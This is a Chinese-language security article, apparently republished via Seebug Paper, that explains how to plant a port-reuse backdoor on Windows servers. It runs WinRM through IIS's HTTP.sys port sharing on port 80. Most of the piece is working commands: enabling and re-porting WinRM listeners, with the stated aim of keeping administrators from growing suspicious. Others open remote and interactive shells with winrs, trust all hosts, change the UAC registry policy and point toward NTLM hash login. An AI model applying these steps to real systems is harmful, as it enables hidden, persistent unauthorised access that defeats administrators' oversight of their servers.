原文:https://mp.weixin.qq.com/s/HDZUsTbffeGhgwu1FOWQNg
作者: Twi1ight @孟極實驗室
說到端口復用,大部分人第一反應肯定是想到內核驅動,需要對網絡接口進行一些高大上的操作才能實現。但只要合理利用操作系統提供的功能,就能以簡單的方式實現這一目標,本文將公布一種基于內置系統服務的端口復用后門方法。
對于不想看原理,只關心如何使用的讀者可以直接跳到“0x02. 后門配置”。
0x01. 基本原理介紹
該后門的基本原理是使用Windows 的遠程管理管理服務WinRM,組合HTTP.sys驅動自帶的端口復用功能,一起實現正向的端口復用后門。
WinRM服務
WinRM全稱是Windows Remote Management,是微軟服務器硬件管理功能的一部分,能夠對本地或遠程的服務器進行管理。WinRM服務能夠讓管理員遠程登錄Windows操作系統,獲得一個類似Telnet的交互式命令行shell,而底層通訊協議使用的是HTTP。
HTTP.sys驅動
HTTP.sys驅動是IIS的主要組成部分,主要負責HTTP協議相關的處理,它有一個重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驅動的HTTP應用可以共享同一個端口,只需要各自注冊的url前綴不一樣即可。
使用netsh http show servicestate命令可以查看所有在HTTP.sys上注冊過的url前綴。
實際上,WinRM就是在HTTP.sys上注冊了wsman的URL前綴,默認監聽端口5985。這點從微軟公布的WinRM的架構圖也可以看出來。

因此,在安裝了IIS的邊界Windows服務器上,開啟WinRM服務后修改默認listener端口為80或新增一個80端口的listener即可實現端口復用,可以直接通過Web端口登錄Windows服務器。
0x02. 后門配置
開啟WinRM服務
在Windows 2012以上的服務器操作系統中,WinRM服務默認啟動并監聽了5985端口,可以省略這一步。
對于Windows 2008來說,需要使用命令來啟動WinRM服務,快速配置和啟動的命令是winrm quickconfig -q,這條命令運行后會自動添加防火墻例外規則,放行5985端口。
新增80端口Listener
對于原本就開放了WinRM服務的機器來講,需要保留原本的5985端口listener,同時需要新增一個80端口的listener,這樣既能保證原來的5985端口管理員可以使用,我們也能通過80端口連接WinRM。
使用下面這條命令即可新增一個80端口的listener
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
對于安裝Windows 2012及以上版本操作系統的服務器來講,只需要這一條命令即可實現端口復用。

這種情況下,老的5985端口listener還保留著

修改WinRM端口
在Windows 2008上面如果原本沒有開啟WinRM服務,那么需要把默認的5985端口修改成web服務端口80,否則管理員上來看到一個5985端口就可能起疑心。
通過下面這條命令即可修改端口為80
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

這種情況下,管理員查看端口也看不到5985開放,只開放80端口。

經過配置之后,WinRM已經在80端口上監聽了一個listener,與此同時,IIS的web服務也能完全正常運行。

0x03. 后門連接和使用
本地配置
本地需要連接WinRM服務時,首先也需要配置啟動WinRM服務,然后需要設置信任連接的主機,執行以下兩條命令即可。
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
連接使用
使用winrs命令即可連接遠程WinRM服務執行命令,并返回結果
winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
上述命令會在遠程機器上執行whoami命令,獲取結果后直接退出。

將whoami命令換成cmd即可獲取一個交互式的shell
winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd

UAC問題
WinRM服務也是受UAC影響的,所以本地管理員用戶組里面只有administrator可以登錄,其他管理員用戶是沒法遠程登錄WinRM的。要允許本地管理員組的其他用戶登錄WinRM,需要修改注冊表設置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后,普通管理員登錄后也是高權限。

Hash登錄
系統自帶的winrs命令登錄時需要使用明文賬號密碼,那很多場景下尤其是windows 2012以后,經常只能抓取到本地用戶的hash,無法輕易獲得明文密碼。因此需要實現一款支持使用NTLM hash登錄的客戶端,使用python來實現不難。

0x04. 結語
本文給出了一種使用WinRM作為端口復用后門的方法。但限于篇幅,還存在很多細節問題沒有涉及,留待讀者進行更深層次的研究。另外也在此拋出兩個小問題,有興趣的讀者可以思考下:
1、在已有WinRM服務的情況下,對于非80端口的web服務要如何處理;
2、HTTPS連接的配置和使用。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1004/